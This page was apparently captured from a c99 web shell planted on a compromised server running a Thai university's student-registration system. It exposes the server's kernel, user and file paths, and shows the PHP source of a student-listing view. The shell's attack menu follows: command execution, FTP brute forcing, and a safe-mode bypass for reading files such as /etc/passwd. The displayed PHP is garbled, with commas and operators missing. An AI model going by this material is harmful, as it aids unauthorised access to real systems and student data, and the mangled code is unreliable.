!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_tc_showSdt-ODL.php (5.96 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_prs 
= isset($qu_prs) ? $qu_prs->row() : NULL;
?>
<table width="100%" align="center">
    <tr>
        <td align="center"><span class="h error">ข้อมูลนักศึกษา</span></td>
    </tr>
    <tr>
        <td><br /></td>
    </tr>
    <tr>
        <td>
            <div align="center"><br>
            <table width="100%" align="center" cellpadding="0" cellspacing="1">
                <tr>
                    <td width="30" height="22"><font size="2"><b>อาจารย์ที่ปรึกษา</b></font></td>
                    <td width="370" height="22"><b><font size="2" color="#006400">:: <?php echo getval('name'$row_prs);?></font></b></td>
                </tr>
                <tr>
                    <td colspan="2">&nbsp;</td>
                </tr>
                <tr> 
                    <td colspan="2">
                    <table class="headCol">
                        <tr>
                            <th colspan="5">รายชื่อนักศึกษาในที่ปรึกษา</th>
                        </tr>
                        <tr> 
                            <th>รหัสนักศึกษา</th>
                            <th>ชื่อ-สกุลนักศึกษา</th>
                            <th>ข้อมูลที่เกี่ยวข้อง</th>
                            <th>ผลการศึกษา</th>

                        </tr>
<?php
                        $i 
0;
                        foreach (
$rs_adv->result() as $row_adv) {                
                        echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                            <td height="22" align="center"><?php echo $row_adv->stdCode;?></td>
                            <td class="indent"><span class="hand" onClick="sendPost('hidform', {'stdId':<?php echo getval('stdId'$row_adv);?>,'tc':'tc_'}, '<?php echo site_url($this->config->item('rg_folder').'studentinfo/tc_editStdMBInfo');?>')"><?php echo getval('prefixName'$row_adv).getval('stdName'$row_adv).' '.getval('stdSurname'$row_adv);?></span></td>
                            <td align="center"><span class="hand" onClick="sendPost('hidform', {'stdId':<?php echo getval('stdId'$row_adv);?>,'tc':'tc_'}, '<?php echo site_url($this->config->item('rg_folder').'studentinfo/tc_editStdMBInfo');?>')"><img src="<?php echo base_url().$this->config->item('rg_profile');?>" align="absmiddle" border="0" /></span></td>
                            <td align="center"><span class="hand" onClick="sendPost('hidform', {'stdCode':<?php echo $row_adv->stdCode;?>}, '<?php echo site_url($this->config->item('rg_folder').'grade/std_showResStudy');?>')"><img src="<?php echo base_url().$this->config->item('rg_paper');?>" align="absmiddle" border="0" /></span></td>

                        </tr>
<?php
                            $i
++;
                        }

                        if (
$i == 0) {
?>
                        <tr> 
                            <td height="22" colspan="3" align="center"><span class="error">** ไม่ปรากฏรายการนักศึกษาในที่ปรึกษาในฐานข้อมูล **</span></td>
                        </tr>
<?php
                        
}
?>

                    </table>
                    </td>
                </tr>
                <tr>
                    <td colspan="2" align="right">รวม <?php echo $i;?> รายการ</td>
                </tr>
                <tr>
                    <td colspan="2">&nbsp;</td>
                </tr>
                <tr> 
                    <td colspan="2">
                    <table class="headCol">
                        <tr bgcolor="<?php //echo $GLOBALS["COLOR_BG_TABLE_1"];?>">
                            <th colspan="3">รายชื่อนักศึกษาในประจำชั้น</th>
                        </tr>
<?php
                        $j 
0;
                        if (
$rs2) {
                            foreach (
$rs2 as $key1 => $val) {
                                
$row_cur = isset($rs2[$key1]['qu_cur']) ? $rs2[$key1]['qu_cur']->row() : NULL;
                                
$row_sy = isset($rs2[$key1]['qu_sy']) ? $rs2[$key1]['qu_sy']->row() : NULL;
?>
                        <tr> 
                            <td colspan="3" align="left">หลักสูตร : <?php echo getval('curName'$row_cur);?></td>
                        </tr>
                        <tr> 
                            <td colspan="3" align="left">ชั้นปี : <?php echo getval('syCode'$row_sy);?></td>
                        </tr>
                        <tr> 
                            <th>รหัสนักศึกษา</th>
                            <th>ชื่อ-สกุลนักศึกษา</th>
                            <th>ผลการศึกษา</th>
                        </tr>
<?php
                                
foreach ($rs2[$key1] as $key2 => $val) {
                                    if (
is_int($key2)) {
                                        
$row_std = isset($rs2[$key1][$key2]['qu_std']) ? $rs2[$key1][$key2]['qu_std']->row() : NULL;

                            echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                            <td align="center" height="22"><font size="2" color="<?php //echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo getval('stdCode'$row_std);?></font></td>
                            <td><font size="2" color="<?php //echo $GLOBALS["COLOR_FONT_4"];?>"><span class="hand" onClick="sendPost('hidform', {'stdId':<?php echo getval('stdId'$row_std);?>,'tc':'tc_'}, '<?php echo site_url($this->config->item('rg_folder').'studentinfo/std_editStdMBInfo');?>')"><?php echo getval('prefixName'$row_std).getval('stdName'$row_std).' '.getval('stdSurname'$row_std);?></span></font></td>
                            <td align="center"><span class="hand" onClick="sendPost('hidform', {'stdCode':'<?php echo getval('stdCode'$row_std);?>'}, '<?php echo site_url($this->config->item('rg_folder').'grade/std_showResStudy');?>')"><img src="<?php echo base_url().$this->config->item('rg_paper');?>" align="absmiddle" border="0" /></span></td>
                        </tr>
<?php
                                        $j
++;
                                    }    
// end if
                                
}    // end foreach
                            
}    // end foreach
                        
}    // end if

                        
if ($j == 0) {
?>
                        <tr>
                            <td height="22" colspan="3" align="center"><span class="error">** ไม่ปรากฏรายการนักศึกษาประจำชั้นในฐานข้อมูล **</span></td>
                        </tr>
<?php
                        
}
?>
                    </table></td>
                </tr>
                <tr>
                    <td colspan="2" align="right">รวม <?php echo $j;?> รายการ</td>
                </tr>
            </table></div><br>
        <span class="error"><b>หมายเหตุ : </b>นำเมาส์ไปคลิกที่ชื่อนักศึกษาเพื่อดูข้อมูลนักศึกษาในที่ปรึกษา หรือนักศึกษาในประจำชั้น</span></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.017 ]--